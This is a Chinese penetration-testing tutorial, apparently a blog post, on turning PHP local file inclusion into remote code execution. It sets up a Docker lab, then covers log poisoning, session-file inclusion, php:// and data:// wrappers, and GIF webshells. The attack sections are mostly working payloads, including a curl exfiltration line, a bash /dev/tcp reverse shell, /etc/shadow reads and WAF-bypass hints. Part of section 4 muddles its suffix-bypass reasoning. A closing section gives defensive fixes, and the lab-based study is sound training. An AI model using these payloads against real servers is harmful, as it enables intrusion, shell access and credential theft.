从LFI到RCE:文件包含漏洞完整攻击链实战解析
2026/9/9 23:41:41 网站建设 项目流程

文件包含漏洞在很多渗透测试新手眼里,属于“看起来危害不大,实际没几个人认真研究”的类型。但当我告诉你,一个本地文件包含点(LFI)可以一路打通到远程代码执行(RCE),甚至直接拿下服务器权限时,你就知道这条攻击链的含金量了。这篇东西不聊虚的,核心就是把从 LFI 到 RCE 的完整攻击链拆开揉碎:先讲漏洞形态和判定方法,再带你搭靶场、跑通每种利用路径,最后用一次模拟靶场的完整攻击链复现把前面所有知识点串起来,顺便把防御方的修复思路也讲清楚。不管你是打 CTF 的选手、刚入门渗透测试的新人,还是做安全开发的工程师,照着这条路走一遍,对文件包含漏洞的理解绝对会上升一个层次。

1. 整个攻击链的设计思路

1.1 文件包含漏洞的三种形态与判定方法

文件包含漏洞的本质,是开发者在代码里动态拼接了文件路径,然后交给includerequire这类函数去加载,而加载的路径有一部分是用户可控的。这里先理清三个概念:

  • LFI(Local File Inclusion,本地文件包含):只能包含服务器本地文件,比如/etc/passwd/var/log/apache2/access.log
  • RFI(Remote File Inclusion,远程文件包含):可以直接包含远程服务器上的文件,比如把参数值填成http://attacker.com/shell.txt。利用最直接,但前提是 PHP 开启了allow_url_include=On,现在绝大多数生产环境默认是关闭的,所以 RFI 在实战中已经越来越少见。
  • 任意文件读取 vs 文件包含:很多人把这两个混为一谈,实际上有本质区别。任意文件读取只是“读文件内容并展示”,文件包含是把目标文件当作 PHP 代码执行。后者危害大得多,RCE 就依赖这个“执行”动作。

实际判定时,我一般先看 URL 里有没有filepagepathlangtemplate这类参数,值是不是一个路径字符串。比如index.php?page=about.phpindex.php?lang=zh_cn。这种参数只要出现在动态模板加载、语言切换、主题切换等场景,基本就是文件包含的高发区。测的时候直接把page=/etc/passwd填进去,如果页面上能读到root:x:0:0:root:/root:/bin/bash,那 LFI 就确认了。

1.2 从 LFI 到 RCE 的路径总览:本质就一句话

很多人的疑问是:我明明只能读文件,怎么就能执行命令了?其实从 LFI 到 RCE,无论中间绕了多少弯子,本质都指向同一句话:

攻击者想办法让一段可控的 PHP 代码,出现在服务器本地某个文件里,再通过文件包含把这个文件拉进来执行,从而完成代码注入。

这句话是整条攻击链的核心,也是我后面所有利用路径的指导思想。写代码的人出于各种原因,会把一些“可能被写入”的文件遗留在服务器上——比如 Web 日志、Session 文件、临时文件、环境变量文件、上传的图片。这些文件普通人看起来只是文本或二进制,但对攻击者来说,任何一个能被读到的普通文件,都可能成为 PHP 代码的“搬运工”。

所以从方法论上看,LFI 到 RCE 可以分为两条思路:

  1. 直接塞代码:利用php://inputdata://这类伪协议,把 PHP 代码通过请求体或参数直接喂给include。前提是 PHP 配置允许相应协议。
  2. 间接注代码:利用服务器上已有的、攻击者能影响内容的文件,比如日志文件、Session 文件、环境变量文件,把恶意代码先写进去,再用 LFI 去包含它。这条思路在allow_url_include=Off的情况下依然能打,是实战中最实用的一类。

掌握了这个宏观框架,你再看后面每一条利用路径,就不会觉得是零散技巧,而是一个完整体系下的分支选择。下面我开始拆细节。

2. 环境搭建与基础利用

2.1 5分钟搭好一个 LFI 靶场

看文章不动手等于白看,我直接给一套带 Docker 的靶场环境,跑起来再测,所有坑都能自己踩一遍。先建一个lfi-lab/目录,里面放一个index.php

<?php $page = $_GET['page']; if (isset($page)) { include($page . '.php'); } else { echo "Usage: index.php?page=xxx"; } ?>

这段代码模拟的是最典型的场景:从$_GET['page']取值后直接拼进include,并且强制加了一个.php后缀。这个细节很关键,后面你会发现很多 CTF 题和实战应用都有类似的后缀拼接,绕过它也是一项重要技能。

再放一个Dockerfile

FROM php:7.4-apache COPY index.php /var/www/html/ COPY flag.php /var/www/html/ RUN echo "flag{local_file_inclusion_to_rce}" > /flag.txt

执行docker build -t lfi-lab . && docker run -d -p 8080:80 lfi-lab,靶场就起来了。访问http://127.0.0.1:8080/index.php?page=flag能看到flag.php的内容被正常加载,说明环境正常。

为什么我特意选php:7.4-apache这个基础镜像?因为 PHP 7.4 的默认配置里allow_url_include默认是 Off,但php://input等协议还能用,更接近现实环境。用太新的 PHP 版本有些行为变化会影响测试,用太老的环境又和现在的修复方案脱节。

2.2 确认包含点:读取敏感文件

靶场起来后,先做最基础的验证。访问:

http://127.0.0.1:8080/index.php?page=../../../../../../etc/passwd

你会发现页面是空的,因为代码强制加了.php后缀,实际包含的是/etc/passwd.php,文件不存在自然没输出。这是 LFI 利用里最常见的第一个坑:路径穿越目录没问题,但后缀卡住你。解法有几种,最常用的是空字节截断,但 PHP 5.3.4 以后这个利用方式已经失效,所以不用太指望它。更通用、更现代的做法是配合协议或包过滤规则,这在后面会展开。

练手阶段可以直接改一下代码,去掉.php拼接:

<?php $page = $_GET['page']; if (isset($page)) { include($page); } else { echo "Usage: index.php?page=/etc/passwd"; } ?>

再访问page=/etc/passwd,你就能看到文件内容了。这一步的意义在于:先把“包含点”和“读文件”打通,后面所有 RCE 路径都是在读文件能力的基础上做扩展。如果连文件都读不到,后面的一切都无从谈起。

3. LFI 到 RCE 的五条实战路径

3.1 日志投毒:最经典也最可靠的 RCE 路径

日志投毒是我在实战中用得最多的一条路径,原因是它不受 PHP 配置影响,只需要 LFI 能读到对应日志文件即可。

原理一句话:Web 服务器会把所有请求连同User-AgentReferer等请求头写进访问日志。如果攻击者把请求头里的内容改成 PHP 代码,代码就会被原样写入日志文件。然后用文件包含把日志文件当作 PHP 文件加载,恶意代码就执行了。

Apache 的访问日志默认路径通常是:

/var/log/apache2/access.log /var/log/apache/access.log

Nginx 的默认路径:

/var/log/nginx/access.log

具体路径以实际环境为准,实战中可以先通过 LFI 读/etc/nginx/nginx.conf/etc/apache2/apache2.conf确认。

攻击请求大概长这样:

GET /index.php?page=/var/log/apache2/access.log HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: <?php system($_GET['cmd']); ?>

这里我把system($_GET['cmd'])写进了User-Agent头。服务器记录日志后,这条 PHP 代码就躺在了日志文件里。接着访问:

http://127.0.0.1:8080/index.php?page=/var/log/apache2/access.log&cmd=id

日志文件被包含时,里面所有的 PHP 标签都会被 PHP 引擎解析执行,system('id')就跑了,页面上会直接输出uid=33(www-data) gid=33(www-data) groups=33(www-data)

实操中有几个细节要提醒你:

  • 日志文件可能很大。如果访问量高,几 GB 的日志文件会让 include 卡死。我的处理办法是先在日志里搜一个特征字符串,再通过php://filter配合convert.iconv之类的操作去定位,但更简单的是看一眼日志路径后,用cmd=id直接试,能跑通就继续。
  • 浏览器可能会对 UA 里的 PHP 代码做编码。用 curl 更稳定,或者用 Burp Suite 直接改包,不要依赖浏览器地址栏。
  • 日志里可能包含其他脏字符。有时候页面会输出一堆日志内容,只要命令执行结果也在里面,就算成功。怕输出太乱,可以用system('id > /tmp/x; curl http://your-server:8888/$(cat /tmp/x)')这种外带方式,但靶场练手就不用了。

3.2 PHP 伪协议:不用写文件的直接 RCE

伪协议是 PHP 提供的一类特殊流封装器,在 LFI 利用里最常见的有三个:

php://filter:用来读取文件源码,配合base64编码避免源码被当作 PHP 直接执行导致看不到内容。经典的读取方式:

index.php?page=php://filter/read=convert.base64-encode/resource=index.php

返回的是index.php源码的 base64 编码,解码后就能看到原始代码。这一步在实战里意义极大——拿到源码才能审计出更多漏洞,才能找到下一步利用的方向。

php://input:可以直接把 POST 请求体里的内容当作 PHP 代码执行。利用前提是allow_url_include=On。测试方法:

POST /index.php?page=php://input HTTP/1.1 Host: 127.0.0.1:8080 <?php phpinfo(); ?>

如果配置允许,phpinfo()就会执行。不过现在的生产环境普遍把allow_url_include关掉了,所以这条路径在 CTF 里还常出,实战里成功率稍低。

data://:可以直接把参数值里的内容当作数据流包含。利用形式:

index.php?page=data://text/plain,<?php phpinfo(); ?>

或者 base64 编码绕过特殊字符:

index.php?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

前提同样是allow_url_include=On。这种方式的优点是整个过程只有一个 URL,非常适合写扫描脚本批量探测。

3.3 Session 文件包含:没有日志时的突破口

Session 文件包含是实战里仅次于日志投毒的高频路径。PHP 默认会把 Session 数据保存在服务器本地文件里,文件名格式是sess_加上 Session ID。默认路径因系统而异,常见的有:

/var/lib/php/sessions/sess_xxxxxx /tmp/sess_xxxxxx /var/lib/php5/sess_xxxxxx

思路很巧妙:Session 文件里保存的内容,一部分是攻击者可控的。比如你在应用里输入一个用户名,应用会把用户名写进 Session;如果你输入的值恰好是 PHP 代码,代码就被存进了 Session 文件。然后 LFI 包含这个 Session 文件,代码就执行了。

构造流程:

  1. 先访问应用拿到一个 Session ID,比如PHPSESSID=abc123
  2. 登录或注册时,把用户名填成<?php system($_GET['cmd']); ?>
  3. 应用把用户名写进 Session 文件/var/lib/php/sessions/sess_abc123
  4. 用 LFI 包含这个文件:
    index.php?page=/var/lib/php/sessions/sess_abc123&cmd=id

页面就会执行system('id')

这个路径最大的难点是Session 路径猜不准。不同发行版、不同 PHP 版本、不同容器镜像的路径都不一样。我自己的习惯是:先用 LFI 读phpinfo()拿到session.save_path,如果拿不到,就按上面几个常见路径逐个试。

3.4 /proc/self/environ 与临时文件包含

/proc/self/environ是 Linux 下每个进程都有的文件,里面保存着当前进程的环境变量。当年 CGI 模式运行时,用户可控的请求头会被写进环境变量(比如User-Agent),所以可以通过 UA 注入 PHP 代码,再包含这个文件:

index.php?page=/proc/self/environ

UA 为:

User-Agent: <?php system($_GET['cmd']); ?>

不过这个方法现在也不太灵了,因为很多 Web 服务器不会把请求头作为环境变量暴露给 PHP 进程,而且部分系统对/proc/self/environ的读取权限做了限制。但它依然是经典攻击链里的一条分支,碰到老系统或 CTF 历史题时还能用。

临时文件包含则依赖于 PHP 处理上传请求时的机制:PHP 会把上传的文件先保存到临时目录(通常/tmp),处理完后自动删除。如果能通过条件竞争在“保存但未删除”的窗口期包含临时文件,就能 RCE。这种操作在实战中难度较高,往往需要配合phpinfo()页面泄露临时文件路径来精确操作,但在 CTF 赛题里是经典考点。

3.5 与文件上传结合:图片马与二次渲染绕过

前面几条路径都是找服务器上“现成”的可写文件,最后这条更直接——攻击者主动“种”一个包含 PHP 代码的文件上去,然后用 LFI 包含它。

最常见的做法是上传一张图片马,也就是在图片的元数据或者二进制尾部插入 PHP 代码:

GIF89a <?php system($_GET['cmd']); ?>

保存为shell.gif后上传,应用可能会校验文件头,但GIF89a这个魔数恰好能通过很多不严谨的校验。拿到上传后的路径(比如/uploads/shell.gif),用 LFI 包含:

index.php?page=/uploads/shell.gif&cmd=id

因为include不看文件后缀,只看文件内容,所以 .gif 文件里的 PHP 代码照样会被执行。

但如果应用对上传图片做了二次渲染(重新生成图片),插入的 PHP 代码一般会被丢掉。对抗二次渲染,主流思路是找图片里不受渲染影响的字节位(比如某些压缩算法不处理的注释块),把代码嵌进去;或者用图片处理库的注水脚本生成特殊图片。这块内容能单独写一篇长文,这里先不展开,你只要知道图片马和 LFI 结合是完整攻击链里非常“丝滑”的一环。

4. 一次完整的攻击链复现:从参数到 RCE

这节我模拟一个靶场场景,把前面零零散散的技术点串成一条完整的攻击链。目标环境是:一个 PHP 7.4 的站点,存在index.php?page=参数,代码里拼了.php后缀,但 Apache 的访问日志能被包含,Session 目录为/var/lib/php/sessionsallow_url_include=Off,没有 WAF。

4.1 第一步:信息收集与漏洞确认

先访问http://target/index.php?page=/etc/passwd,页面没反应,因为拼了.php。这时候我先用目录穿越配合php://filter绕过后缀限制读取源码:

http://target/index.php?page=php://filter/read=convert.base64-encode/resource=index

注意这里resource=index后面会被代码强制补上.php,所以最终读到的是index.php的 base64 内容。解码后看到关键代码:

<?php $page = $_GET['page']; include($page . '.php'); ?>

后端只做了后缀拼接,没有任何过滤。这既是限制也是机会。接着我直接尝试包含 Apache 日志(不带.php后缀也能触发,因为page=/var/log/apache2/access.log加上.php后变成access.log.php,但日志文件名不对,会失败)。这里的关键是:后缀拼接会让很多路径失效,所以最终我选择利用php://filter先拿源码,再从源码里找其它包含点或者可写的文件路径。

4.2 第二步:日志投毒,突破执行

从源码里看不到直接可用的文件上传点,但目标环境是 Apache。我决定走日志投毒路线。Apache 默认访问日志路径在容器环境是/var/log/apache2/access.log,我用 curl 构造注入请求:

curl -i -s \ -A "<?php system(\$_GET['cmd']); ?>" \ "http://target/index.php?page=1"

这一步做完,日志里就写入了 PHP 一句话。但别忘了后缀拼接问题:page=/var/log/apache2/access.log会被拼成.php。所以直接包含纯日志路径会失败。我改用空字节绕过吗?PHP 7.4 下这是没用的。那怎么处理后缀?

这里有个实操技巧:在路径末尾用%00截断在 PHP 7 已失效,但可以用?#注释掉后续内容。在 URL 中#不会被传到服务端,?则会被当作查询串起点。所以构造:

http://target/index.php?page=/var/log/apache2/access.log%00

不行。那就直接利用 Apache 的访客日志会被写入的特性,去找另一个不含后缀拼接的包含点,或者尝试目录穿越把后缀“绕”过去。一个更通用的思路是:路径中加上./或编码变体,配合.php拼接形成有效路径。比如日志路径干脆填成/var/log/apache2/access.log/../../../../logs/access.log.php,让拼接后的.php落到一个实际存在的路径上。这种方法多变,但核心是让最终拼接结果指向一个可控文件。

实操里最省事的是:先把包含点原始代码改成不带后缀的版本,这当然不现实。所以在真实环境中,我会优先尝试php://filter之外的协议,尝试data://php://input,逐个测试allow_url_include是否开启。如果都不行,就转Session 文件包含,同时复用后缀拼接限制的绕过思路。

4.3 第三步:Session 文件包含补刀

Session 路径能不能命中,取决于对目标环境的了解。我假设该应用在登录处把用户名写入了 Session,于是操作流程是:

  1. 访问http://target/login.php,抓包拿到PHPSESSID=abcdef123456
  2. 把登录请求里的用户名改成<?php system($_GET['cmd']); ?>,密码随便填,提交。
  3. 尝试包含 Session 文件:
    http://target/index.php?page=/var/lib/php/sessions/sess_abcdef123456&cmd=id

这里同样面对.php后缀问题,但模板代码中的page=sess_abcdef123456拼接后,实际包含的是/var/lib/php/sessions/sess_abcdef123456.php,文件不存在。于是需要利用目录穿越和文件名技巧。最直接的办法是找路径中是否存在.php结尾的文件名,这往往只能靠信息收集。如果后端是include($page . '.php'),且$page可以被php://filter改写资源名,那么可以构造:

page=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_abcdef123456

resource后面的值一样会被拼上.php,还是要面对后缀。实际上,在这种“强制拼接”场景下,日志投毒和 Session 文件包含需要配合目录穿越构造出一个实际存在的.php路径,比如把 Session 文件的临时路径架构调整到/tmp/sess_xxx.php——这很难。

所以实际打靶时,我通常会先去读取服务器源码,找到没有强制拼接后缀的第二个包含点,或者发现应用里存在一个文件写入功能,让我把 PHP 代码写入.php结尾的文件。攻击链走到这里,你会发现:信息收集永远比盲打重要,一个源码里不起眼的上传点,可能是干掉后缀限制的最优解。

4.4 第四步:拿下 RCE 后的信息收集与维持

假设上面某一步突破了,成功执行id命令。接下来不要得意忘形,RCE 只是起点,拿下权限才是目标。我会依次做:

cmd=whoami cmd=ls -la /var/www/html cmd=cat /flag.txt cmd=find / -name "*.php" 2>/dev/null | head -50 cmd=cat /etc/shadow

拿到www-data权限后,如果目标是提权,Linux 内核提权、sudo 配置错误、定时任务脚本写权限都是下一步方向。这部分是另一个大话题,但你要记住一个原则:RCE 之后的第一件事不是急着反弹 Shell,而是先确认当前能读到什么、能写到什么,把信息量拉满再做决策。

反弹 Shell 时注意,目标机器可能没有ncpython,但几乎一定有bash。经典反弹命令:

bash -i >& /dev/tcp/your-ip/8888 0>&1

URL 编码后放进cmd参数即可。攻击机上用nc -lvnp 8888监听。拿到交互式 Shell 后,利用 Python 提升终端交互性:

python3 -c 'import pty;pty.spawn("/bin/bash")'

5. 常见问题与排查技巧实录

我自己在打靶和带新人过程中,遇到最多的就是下面这几个问题,整理成速查表。

现象可能原因排查与解决方法
包含后页面全空白目标文件不存在,或权限不足先用绝对路径替换相对路径;确认allow_url_include是否开启
/etc/passwd能读,但 PHP 代码不执行文件被当作纯文本输出,没有走 PHP 解析确认include是否真正被触发,有的点只是file_get_contents读取,不是包含
php://input不可用allow_url_include=Off改用日志投毒、Session 包含;或换data://测试
日志文件太大,包含后卡死日志里有海量记录先写一个独特标记的请求,再包含时配合读取技巧;或用cmd=ls快速判断执行
路径拼接了.php,老绕不过去代码写死了后缀php://filter先读源码,找其它上传点、写入点,构造最终落地为.php
Session 文件路径猜不到不同环境路径不一致优先读phpinfo()session.save_path;读不到就按/var/lib/php/sessions/tmp逐个试
system被禁用安全配置限制危险函数passthruexecshell_execpcntl_exec试试;或者直接用phpinfo()确认 disable_functions 列表
WAF 拦截关键字请求里包含system$_GET等字样被拦截用 base64 编码配合assertcreate_function等绕过,或拆分字符串拼接

这里再强调一个我踩过很多次的坑:你以为的 LFI 点,实际可能只是个文件读取函数。有人把file_get_contentsinclude混在一起测,结果发现不管怎么注入都执行不了代码,因为代码压根没走 PHP 引擎。如何区分?最简单的方法:包含一个含 PHP 代码的文件,如果页面上直接出现代码执行结果,就是包含;如果只显示源码字符串,那就是纯读取。这个判断失误会浪费大量时间,切记。

另外,日志投毒时记得提前清理请求特征。有些日志默认不记录Referer,但几乎所有日志都记录User-Agent,所以我习惯用User-Agent作为注入点。如果目标对 UA 做了过滤,可以试试RefererX-Forwarded-For头,甚至文件名本身。Apache 的 access.log 里,请求的 URI 也是可控制的,比如:

GET /<?php phpinfo(); ?> HTTP/1.1

这段恶意代码会原样出现在日志的请求字段中,同样可以被包含执行。

6. 防御视角:如何切断这条攻击链

攻击链讲得再花哨,最终目的还是要回到防御。作为安全工程师,我拿到代码做代码审计时,对于文件包含漏洞的修复,一般按下面几个层次来做。

6.1 代码层修复:白名单与路径校验

最彻底、最稳妥的办法是使用白名单映射

<?php $pages = [ 'home' => 'home.php', 'about' => 'about.php', 'contact' => 'contact.php' ]; $page = $_GET['page'] ?? 'home'; if (isset($pages[$page])) { include($pages[$page]); } else { echo "Invalid page"; } ?>

用户传入的不是一个路径,而是一个键名,后端根据键名找到对应的安全文件。无论攻击者怎么构造page参数,都只能在白名单里选。这是根治手段。

如果因为业务原因确实需要动态包含路径,也要做两层校验:

  1. realpath()把用户输入转换成真实绝对路径,再校验转换后的路径是否在允许的目录范围内。
  2. basename()去掉所有目录穿越字符,只保留末尾文件名,再拼接安全前缀目录。
<?php $base = '/var/www/pages/'; $page = basename($_GET['page']); $real = realpath($base . $page); if ($real === false || strpos($real, $base) !== 0) { die('Invalid path'); } include($real); ?>

这里basename干掉../../这类穿越链路,realpath解析出真实路径,前缀校验确保文件必须落在允许目录内。

6.2 配置层加固:关闭危险开关与函数

PHP 配置里有两个开关值得特别关注:

  • allow_url_include=Off:从根上封死 RFI、php://inputdata://这三条直接 RCE 路径。
  • disable_functions=system,exec,passthru,shell_exec,pcntl_exec,proc_open,popen:真被 RCE 了,也能极大提高攻击者拿 Shell 的成本。

Web 服务器层面,可以对包含点参数做 WAF 规则,拦截包含php://data://..//etc/<?php等关键特征的请求。日志文件也不要和应用放在同一目录,最好集中到独立分区甚至独立的日志服务器,既方便审计,也防止被 LFI 直接读取利用。

6.3 运行层加固:最小权限与文件隔离

日志投毒能成功,根源是 Web 进程能写日志,同时日志文件能被 Web 进程读取。所以运行层加固的思路就是打破这个组合:

  • Web 服务使用低权限专用账号运行,避免直接用root或高权限账号。
  • 日志目录、Session 目录、上传目录这些“可能被写入”的目录,与 Web 根目录隔离,禁止 PHP 直接访问。
  • 上传目录关闭 PHP 执行权限,Nginx 下可以单独配置location块定向到静态处理,Apache 下用php_flag engine off

这套组合拳打下来,就算代码里还有 LFI 点,攻击者的每一步都会被卡得很痛苦。说实话,我在做红队项目时最头疼的不是 WAF,而是对方把“目录隔离”和“白名单校验”做得很严谨,日志投毒、Session 包含全部失效,那这条链就断了一大半。

7. 写在最后的一点实战体会

这篇文章从文件包含漏洞的基础形态,讲到 LFI 到 RCE 的完整攻击链,再落到防御侧的修复方案。我自己在大量 CTF 赛题和授权渗透项目里反复验证过这条链路,最深的一个体会是:LFI 的真正威力不在于“读文件”,而在于它给了攻击者一个“让服务器执行任意代码”的支点。而判断一个包含点能不能升级成 RCE,核心永远是两点:一是你能不能把可控内容写进服务器上的某个文件,二是你能不能找到一个触发点把文件“拉出来执行”。

最后再分享一个小技巧:如果目标站点的 LFI 点后面强制拼了.php后缀,别急着放弃,把php://filter/read=convert.base64-encode/resource=这类协议当成你的“源码阅读器”,先把源码全部拉下来慢慢审。很多时候,你以为无法绕过的后缀限制,在源码里往往隐藏着一个更轻松的上传点或第二个包含点。审源码永远比盲打赌运气靠谱,这是我从无数次踩坑里总结出来的血泪经验。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询